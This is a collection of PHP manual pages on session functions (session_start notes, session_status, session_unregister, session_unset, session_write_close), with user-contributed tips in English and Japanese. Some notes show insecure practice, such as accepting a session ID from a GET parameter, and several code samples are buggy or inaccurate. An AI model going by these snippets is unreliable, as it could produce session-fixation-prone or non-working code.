If you are using a custom session handler via session_set_save_handler() then calling session_start() in PHP 7.1 you might see an error like this:
session_start(): Failed to read session data: user (path: /var/lib/php/session) in ...

As of this writing, it seems to be happening in PHP 7.1, and things look OK in PHP7.0.

It is also hard to track down because if a session already exists for this id (maybe created by an earlier version of PHP), it will not trigger this issue because the $session_data will not be null.

The fix is simple... you just need to check for 'null' during your read function:

<?php

function read($id)
{
  //... pull the data out of the DB, off the disk, memcache, etc
  $session_data = getSessionDataFromSomewhere($id);

  //check to see if $session_data is null before returning (CRITICAL)
  if(is_null($session_data))
  {
    $session_data = '';  //use empty string instead of null!
  }

  return $session_data;
}

?>
chris at ocproducts dot com 21-Jan-2017 06:56
Initiating a session may overwrite your own custom cache control header, which may break clicking back to get back to a prior post request (on Chrome at least).
On my system it was setting 'no-store', which is much more severe than 'no-cache' and what was breaking the back-button.

If you are controlling your own cache headers carefully you need to call:
session_cache_limiter('');

...to stop it changing your cache control headers.
fabmlk at hotmail dot com 28-Dec-2015 02:04
If you ever need to open multiple distinct sessions in the same script and still let PHP generate session ids for you, here is a simple function I came up with (PHP default session handler is assumed):

<?php
/**
  * Switch to or transparently create session with name $name.
  * It can easily be expanded to manage different sessions lifetime.
  */
function session_switch($name = "PHPSESSID") {
        static $created_sessions = array();

        if (session_id() != '') { // if a session is currently opened, close it
            session_write_close();
        }
        session_name($name);
        if (isset($_COOKIE[$name])) {    // if a specific session already exists, merge with $created_sessions
            $created_sessions[$name] = $_COOKIE[$name];
        }
        if (isset($created_sessions[$name])) { // if existing session, impersonate it
            session_id($created_sessions[$name]);
            session_start();
        } else { // create new session
            session_start();
            $_SESSION = array(); // empty content before duplicating session file
                        // duplicate last session file with new id and current $_SESSION content
                        // If this is the first created session, there is nothing to duplicate from and passing true as argument will take care of "creating" only one session file
            session_regenerate_id(empty($created_sessions));
            $created_sessions[$name] = session_id();
        }
}

session_switch("SESSION1");
$_SESSION["key"] = "value1"; // specific to session 1
session_switch("SESSION2");
$_SESSION["key"] = "value2"; // specific to session 2
session_switch("SESSION1");
// back to session 1
// ...
?>

When using this function, session_start() should not be called on its own anymore (can be replaced with a call to session_switch() without argument).
Also remember that session_start() sets a Set-Cookie HTTP header on each call, so if you echo in-between sessions, wrap with ouput buffering.

Note: it's probably rarely a good idea to handle multiple sessions so think again if you think you have a good use for it.
Personally it played its role for some quick patching of legacy code I had to maintain.
aaronw at catalyst dot net dot nz 23-Apr-2015 06:56
As others have noted, PHP's session handler is blocking. When one of your scripts calls session_start(), any other script that also calls session_start() with the same session ID will sleep until the first script closes the session.

A common workaround to this is call session_start() and session_write_close() each time you want to update the session.

The problem with this, is that each time you call session_start(), PHP prints a duplicate copy of the session cookie to the HTTP response header. Do this enough times (as you might do in a long-running script), and the response header can get so large that it causes web servers & browsers to crash or reject your response as malformed.

This error has been reported to PHP HQ, but they've marked it "Won't fix" because they say you're not supposed to open and close the session during a single script like this. https://bugs.php.net/bug.php?id=31455

As a workaround, I've written a function that uses headers_list() and header_remove() to clear out the duplicate cookies. It's interesting to note that even on requests when PHP sends duplicate session cookies, headers_list() still only lists one copy of the session cookie. Nonetheless, calling header_remove() removes all the duplicate copies.

<?php
/**
 * Every time you call session_start(), PHP adds another
 * identical session cookie to the response header. Do this
 * enough times, and your response header becomes big enough
 * to choke the web server.
 *
 * This method clears out the duplicate session cookies. You can
 * call it after each time you've called session_start(), or call it
 * just before you send your headers.
 */
function clear_duplicate_cookies() {
    // If headers have already been sent, there's nothing we can do
    if (headers_sent()) {
        return;
    }

    $cookies = array();
    foreach (headers_list() as $header) {
        // Identify cookie headers
        if (strpos($header, 'Set-Cookie:') === 0) {
            $cookies[] = $header;
        }
    }
    // Removes all cookie headers, including duplicates
    header_remove('Set-Cookie');

    // Restore one copy of each cookie
    foreach(array_unique($cookies) as $cookie) {
        header($cookie, false);
    }
}
?>
elitescripts2000 at yahoo dot com 25-Jan-2014 03:56
3 easy but vital things about Sessions in AJAX Apps.

<?php
// session start

//  It is VERY important to include a Period if using
// a whole domain.  (.yourdomain.com)
// It is VERY important to set the root path your session will always
// operate in... (/members) will ensure sessions will NOT be interfered
// with a session with a path of say (/admin) ... so you can log in
// as /admin and as /members... NEVER do unset($_SESSION)
// $_SESSION=array(); is preferred, session_unset();  session_destroy();

session_set_cookie_params(0, '/members', '.yourdomain.com', 0, 1);
session_start();
$_SESSION = array();
session_unset();
session_destroy();

session_set_cookie_params(0, '/members', '.yourdomain.com', 0, 1);
session_start();

$_SESSION['whatever'] = 'youwhat';

// session destroying

// To be safe, clear out your $_SESSION array
// Next, what most people do NOT do is delete the session cookie!
// It is easy to delete a cookie by expiring it long before the current time.
// The ONLY WAY to delete a cookie, is to make sure ALL parameters match the
// cookie to be deleted...which is easy to get those params with
// session_get_cookie_params()...
// FInally, use  session_unset(); and session_destroy(); in this order to ensure
// Chrome, IE, Firefox and others, are properly destroying the session.
$_SESSION = array();
if (ini_get('session.use_cookies'))
{
    $p = session_get_cookie_params();
    setcookie(session_name(), '', time() - 31536000, $p['path'], $p['domain'], $p['secure'], $p['httponly']);
 }
session_unset();
session_destroy();

// AJAX and SESSIONS.
// Example... you start a session based PHP page, which then calls an Ajax (XMLHTTP) authenticated
// using the SAME SESSION to Poll and output the data, for example.  But, you notice when you
// try to start the Polling AJAX call always HANGS and seems to hang at the session_start().
// This is because the session is opened in the first page, calls the AJAX polling example, and
// tries to open the same session (for authentication) and do the AJAX call, you MUST call
// session_write_close(); meaning you are done writing to the $_SESSION variable, which really
// represents a file that must be CLOSED with session_write_close();....
// THAN you can call your AJAX Polling code to reopen the same session and do its polling...
// Normally, the $_SESSION is closed automatically when the script is closed or finished executing
// So, if you need to keep a PHP page running after opening a SESSION, simply close it when finished
// writing to $_SESSION so the AJAX polling page can authenticate and use the same session in a
// seperate web page...

session_write_close();

?>

Hope this helps someone with their sessions...
Thanks.
ohcc at 163 dot com 25-Dec-2013 04:00
The constant SID would always be '' (an empty string) if directive session.use_trans_sid in php ini file is set to 0.

So remember to set session.use_trans_sid to 1 and restart your server before you use SID in your php script.
ilnomedellaccount at gmail dot com 13-Aug-2013 03:53
A note about session_start(), custom handlers and database foreign key constraints, which I think may be of some use...

We know that if we want our sessions into a database table (rather than the default storage), we can refer to session_set_save_handler(...) to get them there. Note that session_set_save_handler must (obviously) be called before session_start(), but let me get to the point...

Upon calling session_start() the "first time", when the session does not already exist, php will spawn a new session but will not call the write handler until script execution finishes.

Thus, the session at this point exists in the server process memory, but won't be visible as a row in the DB before the script ends.

This seems reasonable, because this avoids some unnecessary database access and resource usage before we even populate our session with meaningfull and definitive data, but this also has side-effects.

In my case, the script called session_start() to make sure a session was initiated, then used session_id() to populate another table in the DB, which had foreign_key constraint to the "sessions" table. This failed because no session was in the db at that point, yet!

I know I could simply force the creation of the row in the DB by manually calling the write handler after session_start(), when necessary, but I am not sure if this is the best possible approach.

As soon as I find an "elegant" solution, or a completely different approach, I will post some working sample code.

In the meanwhile... have fun!
someOne_01 at somewhere dot com 17-Nov-2012 02:30
When you have an import script that takes long to execute, the browser seem to lock up and you cannot access the website anymore. this is because a request is reading and locking the session file to prevent corruption.

you can either
- use a different session handler with session_set_save_handler()
- use session_write_close() in the import script as soon you don't need session anymore (best moment is just before the long during part takes place), you can session_start when ever you want and as many times you like if your import script requires session variables changed.

example
<?php
session_start(); //initiate / open session
$_SESSION['count'] = 0; // store something in the session
session_write_close(); //now close it,
# from here every other script can be run (and makes it seem like multitasking)
for($i=0; $i<=100; $i++){ //do 100 cycles
    session_start(); //open the session again for editing a variable
    $_SESSION['count'] += 1; //change variable
    session_write_close(); //now close the session again!
    sleep(2); //every cycle sleep two seconds, or do a heavy task
}
?>
sanjuro at 1up-games dot com 18-Aug-2011 11:56
The problem with SID is that if on occasions you don't start a session, instead of outputting an empty string for transparent integration it will return the regular undefined constant notice. So you might want to test the constant with defined() beforehand.
linblow at hotmail dot fr 16-Feb-2011 05:06
If you want to handle sessions with a class, I wrote this little class:

<?php

/*
    Use the static method getInstance to get the object.
*/

class Session
{
    const SESSION_STARTED = TRUE;
    const SESSION_NOT_STARTED = FALSE;

    // The state of the session
    private $sessionState = self::SESSION_NOT_STARTED;

    // THE only instance of the class
    private static $instance;

    private function __construct() {}

    /**
    *    Returns THE instance of 'Session'.
    *    The session is automatically initialized if it wasn't.
    *
    *    @return    object
    **/

    public static function getInstance()
    {
        if ( !isset(self::$instance))
        {
            self::$instance = new self;
        }

        self::$instance->startSession();

        return self::$instance;
    }

    /**
    *    (Re)starts the session.
    *
    *    @return    bool    TRUE if the session has been initialized, else FALSE.
    **/

    public function startSession()
    {
        if ( $this->sessionState == self::SESSION_NOT_STARTED )
        {
            $this->sessionState = session_start();
        }

        return $this->sessionState;
    }

    /**
    *    Stores datas in the session.
    *    Example: $instance->foo = 'bar';
    *
    *    @param    name    Name of the datas.
    *    @param    value    Your datas.
    *    @return    void
    **/

    public function __set( $name , $value )
    {
        $_SESSION[$name] = $value;
    }

    /**
    *    Gets datas from the session.
    *    Example: echo $instance->foo;
    *
    *    @param    name    Name of the datas to get.
    *    @return    mixed    Datas stored in session.
    **/

    public function __get( $name )
    {
        if ( isset($_SESSION[$name]))
        {
            return $_SESSION[$name];
        }
    }

    public function __isset( $name )
    {
        return isset($_SESSION[$name]);
    }

    public function __unset( $name )
    {
        unset( $_SESSION[$name] );
    }

    /**
    *    Destroys the current session.
    *
    *    @return    bool    TRUE is session has been deleted, else FALSE.
    **/

    public function destroy()
    {
        if ( $this->sessionState == self::SESSION_STARTED )
        {
            $this->sessionState = !session_destroy();
            unset( $_SESSION );

            return !$this->sessionState;
        }

        return FALSE;
    }
}

/*
    Examples:
*/

// We get the instance
$data = Session::getInstance();

// Let's store datas in the session
$data->nickname = 'Someone';
$data->age = 18;

// Let's display datas
printf( '<p>My name is %s and I\'m %d years old.</p>' , $data->nickname , $data->age );

/*
    It will display:

    Array
    (
        [nickname] => Someone
        [age] => 18
    )
*/

printf( '<pre>%s</pre>' , print_r( $_SESSION , TRUE ));

// TRUE
var_dump( isset( $data->nickname ));

// We destroy the session
$data->destroy();

// FALSE
var_dump( isset( $data->nickname ));

?>

I prefer using this class instead of using directly the array $_SESSION.
anon at ymous dot com 04-Feb-2011 01:51
I am trying to get a session created by a browser call to be used by a command line cli->curl php call (in this case, both calls to the same server and php.ini), for a set of flexible media import routines,

but the cli->curl call always starts a new session despite me putting PHPSESSID=validID as the first parameter for the url called by curl.

I was able to fix it by calling session_id($_GET['PHPSESSID']) before calling session_start() in the script called via curl.
dave1010 at gmail dot com 17-Dec-2010 01:35
PHP locks the session file until it is closed. If you have 2 scripts using the same session (i.e. from the same user) then the 2nd script will not finish its call to session_start() until the first script finishes execution.

If you have scripts that run for more than a second and users may be making more than 1 request at a time then it is worth calling session_write_close() as soon as you've finished writing session data.

<?php
// a lock is places on the session, so other scripts will have to wait
session_start();

// do all your writing to $_SESSION
$_SESSION['a'] = 1;

// $_SESSION can still be read, but writing will not update the session.
// the lock is removed and other scripts can now read the session
session_write_close();

do_something_slow();
?>

Found this out from http://konrness.com/php5/how-to-prevent-blocking-php-requests/
info.at.merchandisinginteractive.sk 01-Mar-2010 06:46
A handy script that checks fot the presence of uft-8 byte order mark (BOM) in all files in all directories starting on current dir. Combined from the work of other people here...

<?php
function fopen_utf8 ($filename) {
    $file = @fopen($filename, "r");
    $bom = fread($file, 3);
    if ($bom != b"\xEF\xBB\xBF")
    {
        return false;
    }
    else
    {
        return true;
    }
}

function file_array($path, $exclude = ".|..|design", $recursive = true) {
    $path = rtrim($path, "/") . "/";
    $folder_handle = opendir($path);
    $exclude_array = explode("|", $exclude);
    $result = array();
    while(false !== ($filename = readdir($folder_handle))) {
        if(!in_array(strtolower($filename), $exclude_array)) {
            if(is_dir($path . $filename . "/")) {
                                // Need to include full "path" or it's an infinite loop
                if($recursive) $result[] = file_array($path . $filename . "/", $exclude, true);
            } else {
                if ( fopen_utf8($path . $filename) )
                {
                    //$result[] = $filename;
                    echo ($path . $filename . "<br>");
                }
            }
        }
    }
    return $result;
}

$files = file_array(".");
?>
info at nospam dot mmfilm dot sk 29-Dec-2009 07:58
For those of you running in problems with UTF-8 encoded files:

I was getting an error because of the BOM, although i set Dreamweaver to "save as" the without the BOM. It appears that DW will not change this setting in already existing files. After creating a new file withou the BOM, everything worked well.

I also recommend http://people.w3.org/rishida/utils/bomtester/index.php - a utility that remote checks for the presence of BOM.
jamestrowbridge at gmail dot com 29-Dec-2009 09:57
Unfortunately, after pulling my hair out trying to figure out why my application was working fine in every browser other than IE ( Internet Explorer) (Opera, Chrome, Firefox, Safari are what I've tested this in) - when using a DNS CNAME record (like a vanity name that is different from the DNS A record, which is the hostname of the server) sessions do not work correctly.

If you store a session var while on the CNAME:
vanity.example.com and the hostname of the server is hosname.example.com
Then try to call the variable from a different page, it will not find it because of the CNAME (I guess it store the variable under the hostname, then when trying to read it it's still looking under the CNAME) the same application works fine when accessing it under the hostname directly.  Keep in mind that I was testing this on an internal network.
Charlie at NOSPAM dot example dot com 22-Sep-2009 07:04
Be warned that depending on end of script to close the session will effectively serialize concurrent session requests.   Concurrent background "data retrieval" (e.g. applications such as AJAX or amfphp/Flex) expecting to retrieve data in parallel can fall into this trap easily.

Holding the session_write_close until after an expensive operation is likewise problematic.

To minimize effects, call session_write_close (aka session_commit) as early as practical (e.g. without introducing race conditions) or otherwise avoid the serialization bottleneck.
schlang 26-Jul-2009 10:44
if you store your sessions in a database, always ensure that the type of the database column is large enough for your session values
emre@yazici 23-Jul-2009 02:46
PHP Manual specifically denotes this common mistake:

Depending on the session handler, not all characters are allowed within the session id. For example, the file session handler only allows characters in the range a-z A-Z 0-9 , (comma) and - (minus)!

See session_id() manual page for more details.
dstuff at brainsware dot org 21-Jul-2009 05:53
It seems like spaces in the name don't work either - got a new session id generated each time
andy_isherwood at hotmail dot com 18-Nov-2008 06:54
A session created with session_start will only be available to pages within the directory tree of the page that first created it.

i.e. If the page that first creates the session is /dir1/dir2/index.php and the user then goes to any page above dir2 (e.g. /dir1/index.php), session_start will create a new session rather than use the existing one.
jphansen at uga dot edu 25-Feb-2008 11:12
I just wrote that session_start() will erase your querystring variable(s) once called. I want to clarify that it will only do this if a variable by the same subscript is defined in $_SESSION[].
leandroico---at---gmail---dot---com 17-Mar-2007 04:21
TAGS: session_start headers output errors include_once require_once php tag new line

Errors with output headers related to *session_start()* being called inside include files.

If you are starting your session inside an include file you must be aware of the presence of undesired characters after php end tag.

Let's take an example:
> page.php
<?php
include_once 'i_have_php_end_tag.inc.php';
include_once 'init_session.inc.php';

echo "Damn! Why I'm having these output header errors?";
?>

> i_have_php_end_tag.inc.php
<?php
$_JUST_A_GLOBAL_VAR = 'Yes, a global var, indeed';
?>

> init_session.inc.php
<?php
session_start();
$_SESSION['blabla'] = 123;
?>

With all this stuff we will get an error, something like:
"... Cannot send session cache limiter - headers already sent (output started at ...", right?

To solve this problem we have to ignore all output sent by include files. To ensure that we need to use the couple of functions: *ob_start()* and *ob_end_clean()* to suppress the output. So, all we have to do is changing the *page.php* to this:

<?php
ob_start();
include_once 'i_have_php_end_tag.inc.php';
include_once 'init_session.inc.php';
ob_end_clean();

echo "Woo hoo! All right! Die you undesired outputs!!!";
?>
ben dot morin at spaboom dot com 29-Sep-2006 09:49
James at skinsupport dot com raises a good point (warning) about additional requests from the browser.  The request for favicon.ico, depending on how it is handled, can have unintended results on your sessions.

For example, suppose you have ErrorDocument 404 /signin.php, no favicon.ico file and all pages in your site where the user signs in are also redirected to /signin.php if they're not already signed in.

If signin.php does any clean up or reassigning of session_id (as all good signin.php pages should) then the additional request from the browser for favicon.ico could potentially corrupt the session as set by the actual request.

Kudos to James for pointing it out and shame on me for skimming past it and not seeing how it applied to my problem.  Thanks too to the Firefox Live HTTP Headers extension for showing the additional request.

Don't waste days or even hours on this if your session cookies are not being sent or if the session data isn't what you expect it to be.  At a minimum, eliminate this case and see if any additional requests could be at fault.
James 13-Jul-2006 04:22
To avoid the notice commited by PHP since 4.3.3 when you start a session twice, check session_id() first:

if (session_id() == "")
  session_start();
james at skinsupport dot com 22-Dec-2005 06:17
One thing of note that caused me three days of trouble:

It's important to note that Firefox (for one) makes two calls to the server automatically.  One for the page, and one for favicon.ico.

If you are setting session variables (as I was) to certain values when a page exists, and other values when pages don't exist, the values for non-existent pages will overwrite the values for existing pages if favicon.ico doesn't exist.

I doubt many of you are doing this, but if you are, this is a consideration you need to address or you'll be bald over the course of a three day period!
erm[at]the[dash]erm[dot]com 27-May-2005 01:04
If you are insane like me, and want to start a session from the cli so other scripts can access the same information.

I don't know how reliable this is.  The most obvious use I can see is setting pids.

// temp.php

#!/usr/bin/php -q
<?php

session_id ("temp");
session_start();

if ($_SESSION) {
    print_r ($_SESSION);
}

$_SESSION['test'] = "this is a test if sessions are usable inside scripts";

?>

// Temp 2

#!/usr/bin/php -q
<?php

session_id ("temp");
session_start();

    print_r ($_SESSION);

?>
jorrizza at gmail dot com 02-Apr-2005 05:33
If you open a popup window (please no commercial ones!) with javascript window.open it might happen IE blocks the session cookie.
A simple fix for that is opening the new window with the session ID in a GET value. Note I don't use SID for this, because it will not allways be available.

----page.php----
//you must have a session active here
window.open('popup.php?sid=<?php echo session_id(); ?>', '700x500', 'toolbar=no, status=no, scrollbars=yes, location=no, menubar=no, directories=no, width=700, height=500');

----popup.php----
<?php
session_id(strip_tags($_GET['sid']));
session_start();
//and go on with your session vars
?>
hbertini at sapo dot pt 13-Mar-2005 12:29
workaround when using session variables in a .php file referred by a frame (.html, or other file type) at a different server than the one serving the .php:

Under these conditions IE6 or later silently refuses the session cookie that is attempted to create (either implicitly or explicitly by invoquing session_start()).

As a consequence, your session variable will return an empty value.

According to MS kb, the workaround is to add a header that says your remote .php page will not abuse from the fact that permission has been granted.

Place this header on the .php file that will create/update the session variables you want:

<?php header('P3P: CP="CAO PSA OUR"'); ?>

Regards,
Hugo
m dot kuiphuis at hccnet dot nl 24-Jun-2003 03:37
[Editors Note: For more information about this
http://www.zvon.org/tmRFC/RFC882/Output/chapter5.html ]

I use name-based virtual hosting on Linux with Apache and PHP 4.3.2.
Every time when I refreshed (by pressing F5 in Internet Explorer) I noticed that I got a new session_id. Simultaneously browsing the same site with Netscape didn't give me that problem. First I thought this was some PHP issue (before I tested it with Netscape), but after searching a lot on the internet I found the problem.
Since I was using name based virtual hosting for my testserver and we have different webshops for different customers I used the syntax webshop_customername.servername.nl as the domain-name.
The _ in the domain name seemed to be the problem. Internet Explorer just denies setting the cookie on the client when there is a special character (like an _ ) in the domain name. For more information regarding this issue: http://support.microsoft.com/default.aspx?scid=kb;EN-US;316112
Stupidly enough, this information was related to asp (yuk :o)


現在のセッションの状態を返す

  • ≪ session_start
  • session_unregister ≫
  • PHP Manual
  • セッション関数
  • 現在のセッションの状態を返す

session_status

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

session_status — 現在のセッションの状態を返す

説明

session_status ( ) : int

session_status() を使うと、現在のセッションの状態を取得できます。

返り値

  • セッションが無効な場合は PHP_SESSION_DISABLED
  • セッションが有効だけれどもセッションが存在しない場合は PHP_SESSION_NONE
  • セッションが有効で、かつセッションが存在する場合は PHP_SESSION_ACTIVE

参考

  • session_start() - 新しいセッションを開始、あるいは既存のセッションを再開する

User Contributed Notes

info at eurocron dot de 06-Dec-2018 04:47
Use always session_status(), to check if a session is already started and active.
if(session_status() !== PHP_SESSION_ACTIVE) session_start();
or
if(session_status() === PHP_SESSION_NONE) session_start();

Don't use
if(!isset($_SESSION)) session_start();
or
if(session_id() === "") session_start();

They will not work properly after a call to session_write_close().
Both functions will continue to report, that the session exists.
And this is right, you can read from $_SESSION, but if you want to write,
you need session_start() again.

As a shorthand you can use
@session_start()
with the @ at the beginning to suppress the
PHP notice "A session had already been started - ignoring session_start()"

As stated in the manual for session_start(), a second call will do no harm,
it will be simply ignored. But you need the @, if you don't want to get the notice.
solaimanshah059 at gmail dot com 18-Aug-2018 09:10
Here some Good example for your understandingl

<?php

if( session_status == PHP_SESSION_NONE ) // if session status is none then start the session
{
     session_start();
}

?>

old Practice we were using.

<?php

if( !( isset($_SESSION) ) ) // if the session is no  set then start to
 new session
{
     session_start();
}

?>
ayon at hyurl dot com 09-Oct-2016 05:17
This is how the session_status() works:
<?php
function session_status(){
    if(!extension_loaded('session')){
        return 0;
    }elseif(!file_exists(session_save_path().'/sess_'.session_id()){
        return 1;
    }else{
        return 2;
    }
}
?>
Ben (aocool at msn d0t com) 16-Feb-2016 08:46
Just another function to determine whether the session has already started:

function is_session_started () {
    return function_exists ( 'session_status' ) ? ( PHP_SESSION_ACTIVE == session_status () ) : ( ! empty ( session_id () ) );
}
sasi dot viragelet at gmail dot co 01-Feb-2015 10:45
Maybe depending on PHP settings, but if return values are not the above, then go for this:
_DISABLED = 0
_NONE = 1
_ACTIVE = 2
Ollea 29-Jan-2014 11:02
If you started and closed a session then test ( session_id() === '' ) to check if a session is active it won't work, session_id() returns an ID even if the session is closed.

Anybody knows another way before PHP 5.4 to check if a session is really not currently active ?
coder dot ua at gmail dot com 15-Oct-2013 02:13
Universal function for checking session status.

<?php
/**
 * @return bool
 */
function is_session_started()
{
    if ( php_sapi_name() !== 'cli' ) {
        if ( version_compare(phpversion(), '5.4.0', '>=') ) {
            return session_status() === PHP_SESSION_ACTIVE ? TRUE : FALSE;
        } else {
            return session_id() === '' ? FALSE : TRUE;
        }
    }
    return FALSE;
}

// Example
if ( is_session_started() === FALSE ) session_start();
?>
php at kenman dot net 02-Aug-2013 03:45
The purpose of this functionality can aid you specifically in cases where code -- prior to your current code -- might have opened a session and then closed it.

Specifically, depending on $_SESSION, session_id(), and the SID constant to determine if a session is active will FAIL if a session has previously been opened & closed within the same request cycle.

Please see the original bug report here:

https://bugs.php.net/bug.php?id=52982
php at pointpro dot nl 16-Apr-2013 07:06
The advice of ive_insomnia at live dot com should be taken with great care.

First of all, while his use case for session_status is valid, a simpler way to avoid the warning is:

<?php
if (!isset($_SESSION)) { session_start(); }
?>

The example of session_status uses the raw values of constants (2 in this case) created specifically for the purpose of not having to use magic numbers.

Better code would be:

<?php
if (session_status() !== PHP_SESSION_ACTIVE) {session_start();}
?>

The same can be done using

<?
if (session_id() === "") { session_start(); }
?>

The use of this function is lies more towards status management: change the behavior of a script when sessions are disabled altogether, for example.


現在のセッションから変数の登録を削除する

  • ≪ session_status
  • session_unset ≫
  • PHP Manual
  • セッション関数
  • 現在のセッションから変数の登録を削除する

session_unregister

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

session_unregister — 現在のセッションから変数の登録を削除する

説明

session_unregister ( string $name ) : bool

session_unregister() は現在のセッションから name という名前のグローバル変数の登録を削除します。

警告

この関数は PHP 5.3.0 で 非推奨となり、 PHP 5.4.0 で削除されました。

パラメータ

name

変数名。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

$_SESSION が使用されている場合、セッション変数の登録を削除する際に unset()を 使用してください。 $_SESSION 自身を unset() しないでください。 さもないと、$_SESSION スーパーグローバルの特殊な機能が無効化されてしまいます。

警告

この関数は、name に対応するグローバル変数の登録を削除しません。 セッションとしてその変数が保存されるのを妨げるだけです。 対応するグローバル変数を削除するには、 unset() をコールする必要があります。

警告

$_SESSION (あるいは
$HTTP_SESSION_VARS) を使用する場合は、
session_register()、
session_is_registered() および
session_unregister() を使用しないでください。

User Contributed Notes

c168772 at mvrht dot com 30-Jun-2016 12:34
To unregister some session you can use:

<?php
// delete session
$_SESSION['NAME'] = array();

// start session
session_start();

// put info in session
$_SESSION['NAME']['userid'] = 5;
$_SESSION['NAME']['name'] "John Doe";
?>
dylan82 AT xs4all DOT nl 09-Dec-2004 01:13
If globals is on, you'll have to unset the $_SESSION[varname] as well as the $varname.

Like:

unset($_SESSION[varname]);
unset($varname);
jsmith at uncommoner dot com 26-Nov-2004 10:55
as a side note you must have session_start() set inorder to actually unregister the session varibles.


全てのセッション変数を開放する

  • ≪ session_unregister
  • session_write_close ≫
  • PHP Manual
  • セッション関数
  • 全てのセッション変数を開放する

session_unset

(PHP 4, PHP 5, PHP 7, PHP 8)

session_unset — 全てのセッション変数を開放する

説明

session_unset ( ) : bool

関数 session_unset() は現在登録されている全てのセッション変数を開放します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.2.0 | この関数の返り値の型は bool になりました。 以前は void でした。

注意

注意:

$_SESSION が使用されている場合、セッション変数の登録を削除するために unset() すなわち、unset ($_SESSION['varname']); を使用してください。

警告

$_SESSION スーパーグローバルを使用した セッション変数の登録が不可能になってしまうため、 unset($_SESSION) を使って $_SESSION を完全に unset しないでください。

注意:

session_unset() 関数は、 $_SESSION を使わない、 古い推奨されないコードのためだけに使ってください。

User Contributed Notes

jerry 29-Oct-2015 12:37
The difference between both session_unset and session_destroy is as follows:

session_unset just clears out the session for usage. The session is still on the users computer. Note that by using session_unset, the variable still exists. session_unset just remove all session variables. it does not destroy the session....so the session would still be active.

Using session_unset in tandem with session_destroy however, is a much more effective means of actually clearing out data. As stated in the example above, this works very well, cross browser. session_destroy is destroy the session. session_destroy() to kill all session information.....This is the more secure function to use.
korteum 13-Jul-2015 05:39
While CLI session_unset() doesn't work (it doesn't clear session variables).
Using CLI you must use:

<?php
    unset($_SESSION);
?>
mwgamera at gmail dot com 31-Dec-2012 05:42
There is nothing magical about the $_SESSION superglobal and unsetting it.
One has simply to remember that all the session_* functions will use continue to
use exactly that instance of array that was set up by session_start.

Consider this example:
<?php
session_start();
var_dump($_SESSION);
$a =& $_SESSION;
unset($_SESSION);
$a['x'] = 1; // $a refers to the original $_SESSION
$_SESSION['x'] = 2; // new unrelated array
session_write_close();
// saved session contains x => 1
?>
tim at leethost dot com 05-Jan-2012 03:50
I was having a problem clearing all session variables, deleting the session, and creating a new session without leaving old session stuff behind in all browsers.  The below code is perfect for a logout script to totally delete everything and start new.  It even works in Chrome which seems to not work as other browsers when trying do logout and start a new session.

<?php
    session_start();
    session_unset();
    session_destroy();
    session_write_close();
    setcookie(session_name(),'',0,'/');
    session_regenerate_id(true);
?>
00 at f00n dot com 23-Jun-2008 07:00
-------------------------------------------------------
InterNic
20-May-2006 11:20
sometimes you might have problems even if using both session_unset and session_destroy. You have to clear the $_SESSION array. I got it working this way:

session_unset();
session_destroy();
$_SESSION = array();
-------------------------------------------------------

When I used this method the session still existed in structure until the array is reset completely.

This, however, has the drawback of clearing all sessions which may not be ideal in some cases.

Named sessions may help in such cases.
zach at zkwarta dot com 13-Jul-2005 03:32
The difference between both session_unset and session_destroy is as follows:

session_unset just clears out the sesison for usage. The session is still on the users computer. Note that by using session_unset, the variable still exists.

Using session_unset in tandem with session_destroy however, is a much more effective means of actually clearing out data. As stated in the example above, this works very well, cross browser:

session_unset();
session_destroy();

I noticed that in firefox, one could simply use sesison_unset and the session would be cleared. When trying this on IE, I was horrified to find out that the data was still there, so I had to use session destroy.
Jeroen 15-Jan-2005 01:42
note to Jason: I don't know the exact mechanics of it (since I'm quite new to sessions) but I think you need to use session_unset() BEFORE you can use session_destroy() at all.  I thought that session_unset() was for scripted variables, and session_destroy() just for anything saved on your side regarding the session.
21-Mar-2001 08:58
To further clarify the note above... this can be done via the session handling directives in your php.ini file... there are options to set garbage collection probability (via percent... i.e. 75 means it would run 3 out of every 4 page accesses), and the amount of time a session object can remain active before the garbage collection process sees it as garbage.


セッションデータを書き込んでセッションを終了する

  • ≪ session_unset
  • SessionHandler ≫
  • PHP Manual
  • セッション関数
  • セッションデータを書き込んでセッションを終了する

session_write_close

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

session_write_close — セッションデータを書き込んでセッションを終了する

説明

session_write_close ( ) : bool

現在のセッションを終了し、セッションデータを書き込みます。

セッションデータは、session_write_close() をコールしなくても、スクリプト終了時に保存されます。しかし、 セッションデータは、同時書き込みを防ぐためにロックされるため、 ある時点であるセッションの処理ができるスクリプトは、1つだけです。 セッションでフレームセットを使用する場合、 このロックのためにフレームがひとつずつロードされるような経験をするでしょう。 セッションへの全ての変更が行われるとすぐにセッションを終了することにより、 全てのフレームのロードに要する時間を減らすことができます。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.2.0 | この関数の返り値の型は bool になりました。 以前は void でした。

参考

  • session_register_shutdown() - セッションのシャットダウン関数

User Contributed Notes

atesin > gmail 29-Jul-2020 12:03
i had trouble with 2 concurrent scripts, a login form with a php generated captcha... the latter truncated the session (session file length 0) so the login always failed due token or captcha error... i thought that was a session blocking problem, but was not

  <?php // pseudo code

  @session_start();
  $_SESSION['token'] = $token = random_string();
  session_write_close();

  ?><pseudo html>
  <form>
    <hidden $token/>
    Name : <input name/>
    Pass : <input pass/>
    Captcha <img captcha.php/> : <input captcha/>
    <submit/>
  </form>
  </html>

  <?php // captcha.php pseudo code

  $code = random_string();
  if ( request_valid() )
  {
    @session_start();
    $_SESSION['captcha|'.$HTTP_REFERER] = $code;
    session_write_close();
  }
  $img = text_to_img($code);
  send_img($img);

  ?>

i choose pipeline as separator in line $_SESSION['captcha|'.$HTTP_REFERER] = $code; because being forbidden in urls "<>[\]^`{|}space

but seems pipeline produced serialization errors on session file, so changing to another inocuous character (underscode in my case) solved the problem... try to avoid reserved serialization characters |:{}";
luiscardoso at cardosotech dot com 18-Mar-2018 02:04
When the server receives multiple requests the change made by the 2nd request on the session variable (while the 1st request is sleeping) won't be available to the 1st request after it has applied session_write_close()

<?php

session_start();

// each request sends its own value
$sign = filter_input(INPUT_GET, 'sign', FILTER_SANITIZE_STRING);

$_SESSION['sign'] = $sign;

session_write_close();

// During the sleep period of 1st request, a 2nd request arrives with a different value of $sign
sleep(3);

